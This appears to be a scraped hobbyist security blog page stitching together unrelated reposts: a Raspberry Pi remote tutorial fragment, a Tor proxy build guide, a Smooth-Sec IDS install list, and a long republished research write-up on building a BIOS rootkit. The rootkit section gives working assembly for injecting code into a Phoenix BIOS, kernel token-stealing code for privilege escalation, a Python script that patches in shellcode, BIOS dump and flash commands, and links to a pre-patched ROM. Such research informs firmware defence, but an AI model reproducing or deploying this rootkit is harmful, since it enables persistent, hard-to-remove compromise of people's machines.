Here’s an example of how I send the message “Control” back to the server with the data action:”swipeLeft”
the server will handle that message by sending it to the screen, the screen client will handle this message by moving the selected square to the next app (Watch, Listen, Play)

I’ve also stumbled upon few trick that will let your iPhone mobile web app look like a native one with a nice icon and a splash screen.
Just add the following to your HTML <head></head> blocks

<link rel="apple-touch-icon" href="images/custom_icon.png"/>
<link rel="apple-touch-startup-image" href="images/startup.png">
<meta name="viewport" content="width=device-width initial-scale=1, maximum-scale=1, user-scalable=no" />
<meta name="apple-mobile-web-app-title" content="Remote">
<meta name="apple-mobile-web-app-capable" content="yes">


Wrap-up

This project is still a work in progress, updates coming soon. If you liked this tutorial please don’t forget to check the source code on Github and show some love by starring it .

logo_ll

Special Thanks to everyone at Lamba Labs Beirut Hackerspace , and of course Donald Derek.

I would Highly recommend this project. A lot of quality time [again]  spent  playing with RaspberryPi building interesting and very useful setup.

BIOS Based Rootkits


BIOS Based Rootkits


This reasearch is published for purely educational purposes and it is a work of Exfiltrated.com [ and not CyberPunk in any way ]. Many TnX and all the credit goes to them. Please take your time and visit their page and support the researchers. Make sure you check it out

Approach

Currently there is a very limited amount of sample code available for the creation of BIOS rootkits, with the only publicly available code being released along with the initial BIOS rootkit demonstration in March of 2009 (as far as I’m aware). My first goal was to reproduce the findings made by Core Security in 2009, and then my second task was to investigate how I could extend their findings. My ultimate goal was to create some sort of BIOS based rootkit which could easily be deployed.

In 2009 there was research done into a similar area of security, which is boot sector based rootkits. Unlike BIOS based rootkits, developments in this area have progressed rapidly, which has led to a number of different master boot record (MBR) based rootkits being developed and released. This type of rootkit was termed a “Bootkit”, and similar to a BIOS based rootkit it aims to load itself before the OS is loaded. This similarity led a number of bootkit developers to remark that it should be possible to perform this type of attack directly from the BIOS instead of loading from the MBR. Despite the comments and suggestions that this bootkit code could be moved into the BIOS for execution, there has not yet been any examples of such code made public.

The first stage for completing this project was to set up a test and development environment where BIOS modifications could be made and debugged. In their paper on Persistent BIOS Infection, Sacco and Ortega detail how they discovered that VMware contains a BIOS rom as well as a GDB server which can be used for debugging applications starting from the BIOS itself. After getting everything going successfully in VMware, work was done to port the VMware BIOS modifications to other similar BIOS’s, and will be described in the second half of this write-up.


VMware BIOS Configuration

Ok, enough background, onto the actually doing it!

The first step which is required is to extract the BIOS from VMware itself. In Windows, this can be done by opening the vmware-vmx.exe executable with any resource extractor, such as Resource Hacker. There are a number of different binary resources bundled into this application, and the BIOS is stored in resource ID 6006 (at least in VMware 7). In other versions this may be different, but the key thing to look for is the resource file that is 512kb in size. The following image shows what this looks like in Resource Hacker:

first

While this BIOS image is bundled into the vmware-vmx.exe application, it is also possible to use it separately, without the need to modify into the vmware executable after each change. VMware allows for a number of “hidden” options to be specified in an image’s VMX settings file. At some point I plan to document a bunch of them on the Tools page of this website, because some really are quite useful! The ones which are useful for BIOS modifications and debugging are the following:

bios440.filename = "BIOS.ROM"
debugStub.listen.guest32 = "TRUE"
debugStub.hideBreakpoint = "TRUE"
monitor.debugOnStartGuest32 = "TRUE"

The first setting allows for the BIOS rom to be loaded from a file instead of the vmware-vmx application directly. The following two lines enable the built in GDB server. This server listens for connections on port 8832 whenever the image is running. The last line instructs VMware to halt code execution at the first line of the guest image’s BIOS. This is very useful as it allows breakpoints to be defined and memory to be examined before any BIOS execution takes place. Testing was done using IDA Pro as the GDB client, and an example of the VMware guest image halted at the first BIOS instruction can be seen in the screenshot below:

2

When initially using this test environment, there were significant issues with IDA’s connection to the GDB server. After much trial and error and testing with different GDB clients, it was determined that the version of VMware was to blame. Version 6 and 6.5 do not appear to work very well with IDA, so version VMware version 7 was used for the majority of the testing. The BIOS is comprised of 16 bit code, and not the 32 bit code that IDA defaults to, so defining “Manual Memory Regions” in the debugging options of IDA was necessary. This allowed memory addresses to be defined as 16 bit code so that they would decompile properly.

Recreating Past Results – VMware BIOS Modification

As noted already, Sacco & Ortega have done two presentations on BIOS modification, and Wojtczuk & Tereshkin have also done a presentation regarding BIOS modification. Of these three presentations, only Sacco & Ortega included any source or sample code which demonstrated their described techniques. Since this was the only existing example available, it was used as the starting point for this BIOS based rootkits project.

The paper by Sacco & Ortega is fairly comprehensive in describing their set up and testing techniques. The VMware setup was completed as described above, and the next step was to implement the BIOS modification code which they had provided. The code provided required the BIOS rom to be extracted into individual modules. The BIOS rom included with VMware is a Phoenix BIOS. Research showed that there were two main tools for working with this type of BIOS, an open source tool called “phxdeco”, and a commercial tool called “Phoenix BIOS Editor”, which is provided directly by Phoenix. The paper by Sacco & Ortega recommended the use of the Phoenix BIOS Editor application and they had designed their code to make use of it. A trial version was downloaded from the internet and it appears to have all of the functionality necessary for this project. Looking for a download link again I can’t find anything that seems even half legitimate, but Google does come up with all kinds of links. I’ll just assume that it should be fairly easy to track down some sort of legitimate trial version still. Once the tools are installed, the next step is to build a custom BIOS.

I first tested that a minor modification to the BIOS image would take effect in VMware, which it did (changed the VMware logo colour). Next, I ran the Python build script provided by Sacco & Ortega for the BIOS modification. Aside from one typo in the Python BIOS assembly script everything worked great and a new BIOS was saved to disk. Loading this BIOS in VMware however did not result in the same level of success, with VMware displaying a message that something had gone horribly wrong in the virtual machine and it was being shut down. Debugging of this issue was done in IDA and GDB, but the problem was difficult to trace (plus there were version issues with IDA). In an effort to get things working quickly, a different version of VMware was loaded, so that the test environment would match that of Sacco & Ortega’s. After some searching, the exact version of VMware that they had used was located and installed. This unfortunately still did not solve the issue, the same crash error was reported by VMware. While I had seen this BIOS modification work when demonstrated as part of their presentation, it was now clear that their example code would require additional modification before it could work on any test system.

Many different things were learned as a result of debugging Sacco’s & Ortega’s code, and eventually the problem was narrowed down to an assembler instruction which was executing a far call to an absolute address which was not the correct address for the BIOS being used. With the correct address entered the BIOS code successfully executed, and the rootkit began searching the hard drive for files to modify. This code took a very long time to scan across the hard drive (which was only 15gb), and it was run multiple times before the system would start. The proof of concept code included the functionality to patch notepad.exe so that it would display a message when started, or to modify the /etc/passwd file on a unix system so that the root password would be set to a fixed value. This showed that the rootkits can be functional on both Windows and Linux systems, even if only used for simple purposes.

Bootkit Testing

While significantly later on in the project time line, the functionality of various bootkit code was also tested, and the results recreated to determine which would work best as not just a bootkit, but also a BIOS based rootkit. Four different bootkits were examined, the Stoned, Whistler, Vbootkit and Vbootkit2 bootkits. The Stoned and Whistler bootkits were designed to function much more like malware than a rootkit, and did not have a simple source code structure. The Vbootkit2 bootkit was much different, as it was not designed to be malware and had (relatively) well documented source code. This bootkit was designed to be run from a CD, but only was tested with Windows 7 beta. When used with Windows 7 retail, the bootkit simply did not load as different file signatures were used by Windows. Some time was spent determining the new file signatures so that this bootkit could be tested, but it would still not load successfully. To allow for testing a beta copy of Windows 7 was obtained instead. When the Vbootkit2 software was run on a Windows 7 beta system, everything worked as expected. The Vbootkit2 software included the ability to escalate a process to System (above admin) level privileges, to capture keystrokes, and to reset user passwords. These were all items that would be valuable to have included in a rootkit, but significant work remained to port this application to Windows 7 retail. The Vbootkit software was examined next; it was designed to work with Windows 2003, XP and 2000. While it was not packaged so that it could be run from CD, only minor modifications were required to add that functionality. This software only included the ability to escalate process privileges, but that alone is a very valuable function. This bootkit software was chosen for use with the BIOS rootkit, which is described in the next section. NVLabs (http://www.nvlabs.in/) are the authors of the bootkit itself, which in many ways represents the main functionality of this project, so a big thanks to them for making their code public! It appears their source code is no longer available on their website, but it can still be downloaded from Archive.org here.

BIOS Code Injection

The proof of concept code by Sacco & Ortega which was previously tested was very fragile, and its functions were not the type of actions that a rootkit should be performing. The first step in developing a new rootkit was to develop a robust method of having the BIOS execute additional code.

Sacco & Ortega patched the BIOS’s decompression module since it was already decompressed (so that it could decompress everything else), and it is called as the BIOS is loaded. This reasoning was appropriate, but the hooking techniques needed to be modified. During normal operation, the BIOS would call the decompression module once for each compressed BIOS module that was present. The VMware BIOS included 22 compressed modules, so the decompression code was called 22 times. This module will overwrite our additional code as it resides in buffer space, so it is necessary to have our addition code relocate itself.

The process that I used includes the following steps:

  • Insert a new call at the beginning of the decompression module to our additional code.
  • Copy all of our additional code to a new section of memory.
  • Update the decompression module call to point to the new location in memory where our code is.
  • Return to the decompression module and continue execution.

This process allows for a significant amount of additional code to be included in the BIOS ROM, and for that code to run from a reliable location in memory once it has been moved there. The above four steps can be shown in a diagram as follows:
(mspaint is awesome)

Implementing this code in assembler was possible a number of different ways, but the goal was to create code that would be as system independent as possible. To accomplish this, all absolute addressing was removed, and only near calls or jumps were used. The exceptions to this were any references to our location in the free memory, as that was expected to be a fixed location, regardless of the system. The following is the assembler code which was used to handle the code relocation:

start_mover:
; The following two push instructions will save the current state of the registers onto the
stack.
pusha
pushf

; Segment registers are cleared as we will be moving all code to segment 0
xor ax, ax              ; (This may or may not be obvious, but xor'ing the register sets it to 0).
xor di, di
xor si, si
push cs; Push the code segment into the data segment, so we can overwrite the calling address code
pop ds; (CS is moved to DS here)
mov es, ax              ; Destination segment (0x0000)
mov di, 0x8000              ; Destination offset, all code runs from 0x8000
mov cx, 0x4fff              ; The size of the code to copy, approximated as copying extra doesn't hurt anything

; The following call serves no program flow purposes, but will cause the calling address (ie, where this code
; is executing from) onto the stack. This allows the code to generically patch itself no matter where it might
; be in memory. If this technique was not used, knowledge of where in memory the decompression module would be
; loaded would be required in advance (so it could be hard coded), which is not a good solution as it differs for every system.
call b

b:
pop si                  ; This will pop our current address of the stack (basically like copying the EIP register)
add si, 0x30                ; How far ahead we need to copy our code
rep movsw               ; This will repeat calling the movsw command until cx is decremented to 0. When this command is 
                    ; finished, our code will be copied to 0x8000
mov ax, word [esp+0x12]         ; This will get the caller address to patch the original hook
sub ax, 3               ; Backtrack to the start of the calling address, not where it left off
mov byte [eax], 0x9a            ; The calling function needs to be changed to an Call Far instead of a Call Near
add ax, 1               ; Move ahead to set a new address to be called in future
mov word [eax], 0x8000          ; The new address for this code to be called at
mov word [eax+2], 0x0000        ; The new segment (0)

; The code has now been relocated and the calling function patched, so everything can be restored and we can return.
popf
popa

; The following instructions were overwritten with the patch to the DECOMPC0.ROM module, so we need to run them now before we return.
mov bx,es
mov fs,bx
mov ds,ax
ret                 ; Updated to a near return

Once the above code is executed, it will copy itself to memory offset 0x8000, and patch the instruction which initially called it, so that it will now point to 0x8000 instead. For initially testing this code, the relocated code was simply a routine which would display a “W” to the screen (see screenshot below). The end goal however was that our rootkit code could be called instead, so the next modification was to integrate that code.

4

As noted in the earlier section, the “VBootkit” software was determined to be the best fit for the type of rootkit functionality that could be loaded from the BIOS. The VBootkit software was originally created so that it would run from a bootable CD. While this starting point is similar to running from the BIOS, there are a number of key differences. These differences are mainly based on the booting process, which is shown below:

Our BIOS based rootkit code will run somewhere in between the BIOS Entry and the BIOS Loading Complete stages. A bootkit would instead run at the last stage, starting from 0x7C00 in memory.

The VBootkit software was designed so that it would be loaded into address 0x7C00, at which point it would relocate itself to address 0x9E000. It would then hook interrupt 0x13, and would then read the first sector from the hard drive (the MBR) into 0x7C00, so that it could execute as if the bootkit was never there. This process needed to be modified so that all hard coded addresses were replaced (as the bootkit is no longer executing from 0x7C00). Additionally, there is no need to load the MBR into memory as the BIOS will do that on its own.

The VBootkit software hooks interrupt 0x13, that is, it replaces the address that the interrupt would normally go to with its own address, and then calls the interrupt after doing additional processing. This turned out to require an additional modification as when our BIOS rootkit code is called interrupt 0x13 is still not fully initialized. This was overcome by storing a count in memory of how many times the decompression module had been run. If it had been run more 22 times (for 22 modules), then the BIOS was fully initialized, and we could safely hook interrupt 0x13.

The Vbootkit software follows the following process:

  • When first called it will relocate itself to 0x9E000 in memory (similar to our BIOS relocation done previously)
  • Next it will hook interrupt 0x13, which is the hard disk access interrupt
  • All hard disk activity will be examined to determine what data is being read
  • If the Windows bootloader is read from the hard disk, the bootloader code will be modified before it is stored in memory
  • The modification made to the bootloader will cause it to modify the Windows kernel. This in turn will allow arbitrary code to be injected into the Windows kernel, allowing for the privilege escalation functionality.

With our BIOS injection plus the bootkit loaded the process flow happens as follows:

The result of all of these modifications is a BIOS which copies the bootkit into memory and executes it, loads the OS from the hard drive, and then ends with an OS which has been modified so that certain processes will run with additional privileges. The following screenshot shows the bootkit code displaying a message once it finds the bootloader and the kernel and successfully patches them:

5

The code used for this rootkit was set to check for any process named “pwn.exe”, and if found, give it additional privileges. This is done every 30 seconds, so the differences in privileges are easy to see. This function can be seen in the code and screenshot below:

xor ecx,ecx
mov word cx, [CODEBASEKERNEL + Imagenameoffset]
cmp dword [eax+ecx], "PWN."         ; Check if the process is named PWN.exe
je patchit
jne donotpatchtoken             ; jmp takes 5 bytes but this takes 2 bytes

patchit:
mov word cx, [CODEBASEKERNEL + SecurityTokenoffset]
mov dword [eax + ecx],ebx       ; replace it with services.exe token, offset for sec token is 200

6

The BIOS rootkit which has been developed could definitely include more functionality (such as what is included in Vbootkit2), but still acts as an effective rootkit in its current state.

BIOS Decompression and Patching

Now that we know how we want the rootkit to be injected into the BIOS, the next step is to actually patch the BIOS with our rootkit code. To do this we need to extract all of the BIOS modules, patch the decompression module, and reassemble everything. The modules can be extracted using the phxdeco command line tool, or the Phoenix BIOS Editor. Once the decompression module is extracted, the following code will patch it with our rootkit:

#!/usr/bin/python
import os,struct,sys
###############################################
# BIOS Decompression module patching script - By Wesley Wineberg
#
# The Phoenix BIOS Editor application (for Windows) will generate a number of module files
# including the decompression module which will be named "DECOMPC0.ROM". These files are
# saved to C:\Program Files\Phoenix Bios Editor\TEMP (or similar) once a BIOS WPH file is
# opened. The decompression module file can be modified with this script. Once modified,
# any change can be made to the BIOS modules in the BIOS editor so that a new BIOS WPH file
# can be generated by the BIOS editor. The decompression module can alternatively be
# extracted by phnxdeco.exe, but this does not allow for reassembly. This script requires
# that NASM be present on the system it is run on.
#
# INPUT:
# This patching script requires the name and path to the BIOS rootkit asm file to be passed
# as an argument on the command line.
#
# OUTPUT:
# This script will modify the DECOMPC0.ROM file located in the same directory as the script
# so that it will run the BIOS rootkit asm code.
# Display usage info
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
# Find rootkit code name
shellcode = sys.argv[1].lower()
# Assemble the assembler code to be injected. NASM is required to be present on the system
# or this will fail!
os.system('nasm %s' % shellcode)
# Open and display the size of the compiled rootkit code
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
# The next line contains raw assembly instructions which will be placed 0x23 into the
decompression rom
# file. The decompression rom contains a header, followed by a number of push instructions
and then
# a CLD instruction. This code will be inserted immediately after, and will overwrite a
number of
# mov instructions. These need to be called by the rootkit code before it returns so that
#the normal decompression functions can continue.
# The assembler instruction contained below is a Near Call which will jump to the end of the
# decompression rom where the rootkit code has been inserted. This is followed by three NOP
# instructions as filler.
minihook = '\xe8\x28\x04\x90\x90\x90'
# The following would work but is an absolute call, not ideal!
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
# Load the decompression rom file
decorom = open('DECOMPC0.ROM','rb').read()
# Hook location is 0x23 in to the file, just past the CLD instruction

hookoffset=0x23
# Insert hook contents into the decompression rom, overwriting what was there previously
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
# Pad the decompression rom with 100 NOP instructions. This is not needed, but does make it
# easier to identify where the modification has taken place.
decorom+="\x90"*100+decomphook
# Pad an additional 10 NOP's at the end.
decorom=decorom+'\x90'*10
# Recalculate the ROM size, so that the header can be updated
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
# Save the patched decompression rom over the previous copy
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
# Output results
print "The DECOMPC0.ROM file has now been patched."

An example of how to call the above script would be:

python patchdecomp.py biosrootkit.asm

If everything works successfully, you should see something similar to the following:

Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.

BIOS Reassembly

For raw BIOS files, such as the one included with VMware, a number of command line utilities included with the Phoenix Bios Editor (or available from Intel) can be used to reassemble everything. Later on when testing with a real PC it was necessary to save the BIOS in more than just the raw format, so the tool for reassembly used was the GUI version of the Phoenix Bios Editor. This unfortunately means that it is not possible to simply have one application that can be run on a system which will infect the BIOS, at least not using off the shelf tools.

This now means that the BIOS infection is a three stage process, requiring some manual intervention mainly for the reassembly. The following shows the Phoenix BIOS Editor with a BIOS image open:

7

The Phoenix BIOS Editor is not specifically designed for swapping modules in and out, but does effectively allow for it. When a BIOS image is first opened, all of the BIOS modules will be extracted to disk in a folder located at C:\Program Files\Phoenix BIOS Editor\TEMP. The decompression module can be copied from this folder, patched, and replaced. The Phoenix BIOS Editor will not allow you to save a BIOS without a modification, so it is necessary to modify a string value and then change it back (or just leave it) so that the BIOS can be saved.

The BIOS based rootkit source code and patching scripts can be downloaded from the links near the end of this write-up if you would like to try all of this out yourself.

Real PC’s

The Phoenix BIOS was used with all of the VMware based development, so this was also chosen for testing with a physical PC. All of the physical (as opposed to virtual) BIOS testing was done using an HP Pavilion ze4400 laptop. BIOS testing was originally planned for use with PC’s and not laptops, as getting access to the PC motherboard for reflashing if necessary would be much easier. Despite this fact, quickly locating a PC with a Phoenix BIOS proved to be difficult, so a laptop was used instead (special thanks to David for reflashing my laptop when I accidently wrote source code to my BIOS!)

PC BIOS Retrieval

The first step to modifying a real system BIOS is to extract a copy of it. Phoenix has two different tools which they generally provide for this purpose, one is called “Phlash16″, and the other is called “WinPhlash”. Phlash16 is a command line utility (with a console based GUI), but will only run from DOS. WinPhlash, as its name suggests, runs from Windows. While this is a GUI based utility, it will also accept command line options, allowing us to automate the process of BIOS retrieval. For this project I ended up making some scripts to automate BIOS extraction and patching, but they’re quite basic and limited.

The following batch script will copy the BIOS into a file named BIOSORIG.WPH, and then check if it has previously been modified. The CheckFlash.py Perl script simply checks the BIOS contents for my name, which would not be in any unpatched BIOS.

@rem This file dumps the bios and checks if it has previously been patched.
@rem Dump
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem Check if the BIOS has been patched already
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH

PC BIOS Decompression and Patching

With the BIOS retrieved, the next step is to patch it with our rootkit code. This can be done using the exact same scripts that we used for VMware in the sections above. It was a goal of this project to design the patch as well as the patching process to be as compatible as possible. I am quite pleased that this turned out to be completely possible, so that the same tools can be used for completely different hardware running the same type of BIOS.

PC BIOS Reassembly

While there is a free tool which can extract modules from Phoenix BIOS’s, it appears that only the Phoenix Bios Editor will reassemble them as needed for typical PC’s. The WinPhlash tool requires additional information to be included with the BIOS, which it stores along with the raw BIOS in the WPH file. After testing many different options, it appears that the only way to successfully reassemble the WPH file is to use the GUI Phoenix Bios Editor. This unfortunately means that it is not possible to simply have one application that can be run on a system which will infect the BIOS, at least not using off the shelf tools.

Theoretically it should be possible to reverse engineer the WPH format and create a custom BIOS reassembly tool, but this was out of the scope of this project. Instead, the BIOS infection is a three stage process, requiring some manual intervention mainly for the reassembly.

As with patching the VMware BIOS, the same trick to have the Phoenix BIOS Editor reassemble a patched module can be used. When a BIOS image is first opened, all of the BIOS modules will be extracted to disk in a folder located at C:\Program Files\Phoenix BIOS Editor\TEMP. The decompression module can be copied from this folder, patched, and replaced. The Phoenix BIOS Editor will not allow you to save a BIOS without a modification, so it is necessary to modify a string value and then change it back (or just leave it) so that the BIOS can be saved.

BIOS Flashing

Once the BIOS is reassembled into the WPH file, the following batch script will flash the new BIOS image into the BIOS EEPROM and then reboot the PC so that it takes effect:

@rem This file uploads a file named "BIOSPATCHED.WPH" to the BIOS. Will reboot system when done.
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH

Laptop Modification Results

With everything described so far put together, the following shows the BIOS code being flashed onto a laptop (being run from the infect.bat script detailed above):

8

Once the flash completed, the BIOS rootkit successfully ran and loaded itself into the Windows kernel. The following screenshot shows a command prompt which starts initially as a normal user, and then after 30 seconds has its privileges escalated:

9

This demonstrated that the BIOS rootkit was portable enough to work on multiple systems (VMware, the HP laptop), and that the infection mechanisms were functional and working properly.

The “rootkit” developed for this project only implements one simple task, but as noted regarding the Vbootkit2 software, there is no reason additional functionality cannot be added to this. BIOS’s made by Phoenix were examined for this project, and it is likely that there are many similarities between Phoenix BIOS’s and BIOS’s from other manufacturers. While it is likely that code will need to be created for each separate manufacturer, there are not a large number of different BIOS vendors, so expanding this rootkit functionality to all of the common manufacturers should be feasible.

In the introduction I noted that new BIOS features, such as signed BIOS updates, make much of what is described here far less of an issue from a security standpoint. That is definitely good to see, but it is also worth remembering that there are more “legacy” computers out there than there are “new” ones, so this type of attack will still remain an issue for quite a while to come.

Demo VMware BIOS and source code

The following source code, and patched BIOS is provided as a proof of concept. It is in no way my intention that people take this and use it for any malicious purposes, but rather to demonstrate that such attacks are completely feasible on older BIOS configurations. I do not expect that it is very feasible to take this in its current form and turn it into any sort of useful malware, and based on that I am posting this code online.

As noted in the earlier sections, this code should work to patch most “Phoenix” BIOS’s. The patching scripts can be downloaded here:
BIOS_Based_Rootkit_Patch_Scripts.zip

The source code for the BIOS rootkit can be downloaded here:
biosrootkit.asm

You will need NASM to compile the code to patch into the BIOS if you are using the above scripts / source code. NASM should either be added to your path variable, or you should update the patching script to have an absolute path to it for it to work successfully. You will also need a copy of the Phoenix BIOS Editor, or a free tool equivalent to combine the decompression module back into a complete BIOS.

If you don’t want to compile this all yourself and would simply like to try it, a pre-patched BIOS for use with VMware can be downloaded here:
BIOS_rootkit_demo.ROM

PoC Usage and Notes

If you don’t feel like reading through the whole write-up above, here is the summary of how to try this out, and what it does.

  • First, download the BIOS_rootkit_demo.ROM BIOS image from the above link.
  • To try it, you need a copy of VMware installed, and a guest Windows XP operating system to test with. I’ve personally tested this with a bunch of different versions of VMware Workstation, as well as the latest version of VMware Player (which is free). I am also told that VMware Fusion works just fine too.
  • Before opening your guest WinXP VM, browse to where you have the VM stored on your computer, and open the .vmx file (ie WindowsXP.vmx or whatever your VM is called) in notepad. Add a new line at the end that matches the following: bios440.filename = "BIOS_rootkit_demo.ROM". Make sure you copy BIOS_rootkit_demo.ROM to that folder while you’re at it.
  • Now open and start the VM, then rename a program to pwn.exe (cmd.exe for example).
  • Wait 30 seconds, and then start the Task Manager. Pwn.exe should be running as user “SYSTEM” now instead of whatever user you are logged into XP with.

The list of steps described above should work in an ideal world. Testing has shown the following caveats however!

  • OS instability. Sometimes when booting or just simply closing your pwn.exe application Windows will BSOD.
  • Task Manager will lie about your process user if you open it in advance of the 30s permission escalation time. Use something like cmd with whoami to properly check what your permissions are.
  • While I have loaded this successfully onto a real PC, I take no responsibility for the results if you do the same. I’d love to hear about it if you brick your motherboard in some horrendous way, but I probably won’t actually be able to help you with it! Use at your own risk!
  • If you just want to watch a video of what this does, Colin has put one up on YouTube:

    I recommend actually trying it in VMware, it’s way more fun to see a hard drive wipe do nothing, and your system still affected!

Onion Pi – Build a Raspberry Pi Tor Onion Router Machine


Onion Pi

Another Excellent Raspberry Pi project which is now coming bundled with Tor Onion Router which gives you opportunity to create secure network wherever you are. For more information about the project please visit Adafruit Learning System. Credit: Created by Ladyada [ Many Many TNX ] As usually discussion is open on ARRAKIS  

Feel like someone is snooping on you? Browse anonymously anywhere you go with the Onion Pi Tor proxy. This is fun weekend project that uses a Raspberry Pi, a USB WiFi adapter and Ethernet cable to create a small, low-power and portable privacy Pi.

Using it is easy-as-pie. First, plug the Ethernet cable into any Internet provider in your home, work, hotel or conference/event. Next, power up the Pi with the micro USB cable to your laptop or to the wall adapter. The Pi will boot up and create a new secure wireless access point called Onion Pi. Connecting to that access point will automatically route any web browsing from your computer through the anonymizing Tor network.

What is Tor?

Tor is an onion routing service – every internet packet goes through 3 layers of relays before going to your destination. This makes it much harder for the server you are accessing (or anyone snooping on your Internet use) to figure out who you are and where you are coming from. It is an excellent way to allow people who are blocked from accessing websites to get around those restritions.

According to the Tor website:

Journalists use Tor Onion to communicate more safely with whistleblowers and dissidents. Non-governmental organizations (NGOs) use Tor to allow their workers to connect to their home website while they’re in a foreign country, without notifying everybody nearby that they’re working with that organization.Groups such as Indymedia recommend Tor Onion for safeguarding their members’ online privacy and security. Activist groups like the Electronic Frontier Foundation (EFF) recommend Tor as a mechanism for maintaining civil liberties online. Corporations use Tor as a safe way to conduct competitive analysis, and to protect sensitive procurement patterns from eavesdroppers. They also use it to replace traditional VPNs, which reveal the exact amount and timing of communication. Which locations have employees working late? Which locations have employees consulting job-hunting websites? Which research divisions are communicating with the company’s patent lawyers?A branch of the U.S. Navy uses Tor for open source intelligence gathering, and one of its teams used Tor while deployed in the Middle East recently. Law enforcement uses Tor for visiting or surveilling web sites without leaving government IP addresses in their web logs, and for security during sting operations.

BEFORE YOU START USING YOUR PROXY – remember that there are a lot of ways to identify you, even if your IP address is ‘randomized’. Delete & block your browser cache, history and cookies – some browsers allow “anonymous sessions”. Do not log into existing accounts with personally identifying information (unless you’re sure that’s what you want to do). And read https://www.torproject.org/ for a lot more information on how to use TOR in a smart and safe way
This tutorial is a great way to make something fun and useful with your Raspberry Pi, but it is a work in progress. We can’t guarantee that it is 100% anonymous and secure! Be smart & paranoid about your TOR usage.

What you’ll need

You’ll need a few things to run this tutorial:

Chances are you’ve got a couple of these items already. If not, our Onion Pi starter pack has everything you need !

Preparation

This tutorial assumes you have your Pi mostly set up and have followed our “Raspberry Pi as Wifi Access Point” tutorial

Please follow these tutorials in order to

Make sure to expand the filesystem to the entire disk or you may run out of space

Onion

When done you should have a Pi that is booting Raspbian, you can connect to with a USB console cable and log into the Pi via the command line interface.

When done you should be able to connect to the Pi as a WiFi access point and connect to the internet through it.

It is possible to do this tutorial via ssh on the Ethernet port or using a console cable.

If using a console cable, even though the diagram on the last step shows powering the Pi via the USB console cable (red wire) we suggest not connecting the red wire and instead powering from the wall adapter. Keep the black, white and green cables connected as is.

Install TOR

Essentially, this tutorial just follows the tor “anonymizing middlebox” writeup here.

We’ll begin by installing tor – the onion routing software.

Log into your pi by Ethernet or console cable and run

sudo apt-get install tor
5

Edit the tor config file by running

sudo nano /etc/tor/torrc

and copy and paste the text into the top of the file, right below the the FAQ notice.

Copy Code
Log notice file /var/log/tor/notices.log
VirtualAddrNetwork 10.192.0.0/10
AutomapHostsSuffixes .onion,.exit
AutomapHostsOnResolve 1
TransPort 9040
TransListenAddress 192.168.42.1
DNSPort 53
DNSListenAddress 192.168.42.1
6
Let’s edit the host access point so it is called something memorable like Onion Pi – don’t forget to set a good password, don’t use the default here!
Time to change our ip routing tables so that connections via the wifi interface (wlan0) will be routed through the tor software.
Type the following to flush the old rules from the ip NAT table

sudo iptables -F
 sudo iptables -t nat -F

Type the following to route all DNS (UDP port 53) from interface wlan0 to internal port 53 (DNSPort in our torrc)

sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 53

Type the following to route all TCP traffic from interface wlan0 to port 9040 (TransPort in our torrc)

8

sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT --to-ports 9040

Next you can check that the ip tables are right with

sudo iptables -t nat -L
9

If all is good, we’ll save it to our old NAT save file

sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"

It will automatically get loaded when the networking is set up on reboot (as we did in the last tutorial on making a Pi access point)

10

Next we’ll create our log file (handy for debugging) with

sudo touch /var/log/tor/notices.log
sudo chown debian-tor /var/log/tor/notices.log
sudo chmod 644 /var/log/tor/notices.log

Check it with

ls -l /var/log/tor

Start the tor service manually

sudo service tor start

Check its really running (you can run this whenever you’re not sure, it something is wrong you’ll see a big FAIL notice

sudo service tor status

Finally, make it start on boot

sudo update-rc.d tor enable
11
That’s it, now you’re ready to test in the next step.

Test It!

OK now the fun part! It’s time to test your TOR anonymizing proxy. On a computer, check out the available wifi networks, you should see the Onion Pi network
12
Connect to it using the password you entered into the hostapd configuration file
13
You can open up a Terminal or command prompt and ping 192.168.42.1 to check that your connect to the Pi is working. However you won’t be able to ping outside of it because ping’s are not translated through the proxy
13
To check that the proxy is working, visit a website like http://www.ipchicken.com which will display your IP address as it sees it and also the matching domain name if available. The IP address should not be from your internet provider – in fact, if you reload the page it should change!
14
Your web browsing traffic is now anonymized!

onion onion onion onion onion

BEFORE YOU START USING YOUR PROXY – remember that there are a lot of ways to identify you, even if your IP address is ‘randomized’. Delete your browser cache, history and cookies (some browsers allow “anonymous sessions”) and read https://www.torproject.org/ for a lot more information on how to use Tor Onion Rrouter in a smart and safe way

Smooth-Sec – a fully-ready IDS/IPS (Intrusion Detection/Prevention System) Linux distribution


Smooth-Sec

Smooth-Sec is a fully-ready IDS/IPS (Intrusion Detection/Prevention System) Linux distribution based on Debian 7 (wheezy), available for 32 and 64 bit architecture. The distribution includes the latest version of Snorby, Snort, Suricata, PulledPork and Pigsty. An easy setup process allows to deploy a complete IDS/IPS System within minutes, even for security beginners with minimal Linux experience.

Source && Download

CF_skull

Installation

1) Booting Smoothsec.

Smooth-Sec

2) Language selection.

Alt attribute text Here

3) Select a location.

Alt attribute text Here

4) Keyboard setup.

Alt attribute text Here

5) Hostname.

Alt attribute text Here

6) Domain name.

Alt attribute text Here

7) Disk partitioning.

Alt attribute text Here

8) Confirm disk partitioning.

Alt attribute text Here

9) Mirror country setup.

Alt attribute text Here

10) Mirror location setup.

Alt attribute text Here

11) Apt proxy setup.

Alt attribute text Here

12) Grub installation.

Alt attribute text Here

13) End of the installation.

Alt attribute text Here

14) First boot login screen.

Alt attribute text Here

15) First setup.

Alt attribute text Here

How to Get Started With pfSense as a FreeBSD Router


pfSense


